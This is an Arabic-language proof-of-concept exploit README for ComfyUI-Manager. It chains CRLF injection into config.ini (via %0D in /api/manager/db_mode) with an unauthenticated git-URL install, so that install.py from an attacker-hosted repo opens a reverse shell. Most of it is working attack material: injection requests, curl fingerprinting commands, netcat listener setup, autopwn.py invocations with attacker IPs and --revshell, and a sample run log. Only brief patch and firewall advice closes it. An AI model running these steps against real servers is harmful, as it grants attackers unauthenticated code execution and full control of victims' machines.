
إثبات مفهوم للاستغلال يربط حقن CRLF في نقطة نهاية الإعدادات الخاصة بـ ComfyUI-Manager مع تثبيت git عشوائي لتحقيق تنفيذ تعليمات برمجية عن بُعد دون مصادقة.
الخطورة: حرجة (CVSS 9.8) المتأثر: ComfyUI-Manager < 3.39.2 و 4.0.0 - 4.0.4 تم إصلاحه في: ComfyUI-Manager 3.39.2 / 4.0.5 متسلسل مع: CVE-2025-67303 (تثبيت Git عشوائي -> تنفيذ تعليمات برمجية)
يكشف ComfyUI-Manager عن نقطة نهاية /api/manager/db_mode التي تقبل معامل استعلام value وتكتبه مباشرةً في config.ini باستخدام configparser الخاص بـ Python.
الثغرة هي حقن محرف إرجاع عربة مجرّد (\r / %0D):
configparser القيمة حرفيًا — يُخزَّن \r كما هو في الملف.\r المجرّد كمُنهي سطر، فيقسّم قيمة واحدة إلى توجيهين منفصلين في INI.configparser مع strict=False (الإعداد الافتراضي في ComfyUI-Manager) المفاتيح المكررة ويستخدم الأخير منها. القيمة المحقونة security_level = weak تستبدل القيمة الشرعية.بعد إعادة التشغيل يصبح الإعداد المزوّر فعّالًا، مما يعطّل بوابة المصادقة على /api/customnode/install/git_url (CVE-2025-67303). تقوم نقطة النهاية هذه باستنساخ مستودع git عشوائي وتنفيذ install.py منه فورًا كعملية فرعية — مما يمنح مهاجمًا غير مُصادَق تنفيذًا كاملًا للتعليمات البرمجية.
Step 1 — Inject bare CR into config endpoint
GET /api/manager/db_mode?value=cache%0Dsecurity_level%20=%20weak
config.ini on disk after write:
db_mode = cache\r
security_level = weak <- injected via %0D
Step 2 — Reboot Manager to reload forged config
GET /api/manager/reboot
Manager reads config.ini back; universal newlines split the value;
last-key-wins -> security_level = weak
Step 3 — Verify gate (poll until 403 changes to 400)
POST /api/customnode/install/git_url body: http://127.0.0.1/probe.git
403 = gate still closed
400 = gate open, security_level=weak confirmed
Step 4 — Trigger install from evil git repo (CVE-2025-67303)
POST /api/customnode/install/git_url
body: http://ATTACKER:9099/alg-upscaler.git
Manager does:
git clone http://ATTACKER:9099/alg-upscaler.git
python install.py <- reverse shell executes here
| الملف | الغرض |
|---|---|
setup_evil_repo.sh | بناء مستودع git الخبيث وتقديمه عبر HTTP |
exploit_ad15.sh | تشغيل السلسلة الكاملة: حقن CRLF -> إعادة تشغيل -> تحقق -> تشغيل |
autopwn.py | بديل Python شامل (يبني المستودع + يشغّل السلسلة الكاملة) |
الخطوة 1 — بصمة الإصدار
curl -s http://TARGET:8188/api/manager/version
# Vulnerable: "3.39.1" / "4.0.3"
# Patched: "3.39.2" / "4.0.5"
الخطوة 2 — تأكيد أن نقطة نهاية CRLF تقبل القيم
curl -v "http://TARGET:8188/api/manager/db_mode?value=test" 2>&1 | grep "< HTTP"
# HTTP/1.1 200 -> endpoint exists and is writable
الخطوة 3 — فحص بوابة التثبيت
curl -s -o /dev/null -w "%{http_code}" \
-X POST http://TARGET:8188/api/customnode/install/git_url \
-d "http://127.0.0.1/probe.git"
# 403 -> gate closed (default config, target is injectable)
# 400 -> gate already open (skip Phase 1)
============================================================
CVE-2026-22777 + CVE-2025-67303 Full Chain
============================================================
Target : http://192.168.1.10:8188
Attacker : 10.10.14.1:4444
Evil repo : http://10.10.14.1:9099/alg-upscaler.git
[*] Phase 0: Version fingerprint
ComfyUI-Manager version: "3.39.1" <- vulnerable
[*] Phase 1: CRLF inject -> security_level = weak
[+] Injection sent (HTTP 200)
config.ini now contains:
db_mode = cache\r
security_level = weak <- injected via bare CR
[*] Phase 2: Trigger reboot
[+] Reboot request sent -- waiting 30s for Manager to restart...
[*] Phase 3: Verify security gate
Attempt 1: HTTP 403 <- still rebooting
Attempt 2: HTTP 403
Attempt 3: HTTP 400 <- gate open
[+] Gate OPEN -- security_level=weak is active
[*] Phase 4: Checking evil git repo is reachable
[+] Evil repo reachable (HTTP 200)
[*] Phase 5: Triggering git install (CVE-2025-67303)
ComfyUI-Manager will:
1. git clone http://10.10.14.1:9099/alg-upscaler.git
2. cd into cloned dir
3. python install.py <- reverse shell executes here
يتوقف أمر curl في المرحلة 5 — تصل الصدفة العكسية إلى nc -lvnp 4444.
| Vulhub PoC | هذا PoC | |
|---|---|---|
install.py | touch /tmp/success (إثبات التنفيذ فقط) | صدفة عكسية بـ Python تعود إلى المهاجم |
| النتيجة | لا صدفة تفاعلية | صدفة تفاعلية كاملة |
| Vulhub PoC | هذا PoC | |
|---|---|---|
| اللغة | ملف Python واحد | Bash، سكربتان منفصلان |
| التنظيف | tempfile.TemporaryDirectory (يُحذف تلقائيًا عند Ctrl+C) | يدوي (يبقى على القرص) |
| اسم المستودع | عشوائي (مثل evil-node-a1b2c3) | ثابت: alg-upscaler |
| Vulhub PoC | هذا PoC | |
|---|---|---|
| CVE-2026-22777 (حقن CRLF) | غير مُضمَّن | في exploit_ad15.sh المرحلة 1 |
| إعادة التشغيل + التحقق من البوابة | غير مُضمَّن | ينتظر 30 ثانية ثم يستطلع 403->400 |
| تشغيل التثبيت | curl يدوي | آلي في المرحلة 5 |
الخطوة 1 — إعداد المستودع الخبيث والمستمع (طرفيتان)
# Terminal 1 — listener
nc -lvnp 4444
# Terminal 2 — build and serve evil repo
bash setup_evil_repo.sh 10.10.14.1 4444
الخطوة 2 — تشغيل سلسلة الاستغلال الكاملة
# Terminal 3
bash exploit_ad15.sh 192.168.1.10 10.10.14.1 4444
تصل الصدفة في الطرفية 1 بعد المرحلة 5.
بديل — Python شامل
# Blind command
python3 autopwn.py http://192.168.1.10:8188 --command "id"
# Reverse shell
python3 autopwn.py http://192.168.1.10:8188 --revshell --lhost 10.10.14.1 --lport 4444
الترقية (موصى بها): ComfyUI-Manager 3.39.2 أو 4.0.5+.
تُزيل الترقعة \r و \n قبل كتابة أي معامل استعلام في config.ini.
تخفيفات الشبكة (إذا لم يكن الترقيع فوريًا):
8188 على الجدار الناري — لم يُصمَّم ComfyUI للتعرض العام./api/manager/* و /api/customnode/*.config.ini للقراءة فقط: chmod 444 config.ini.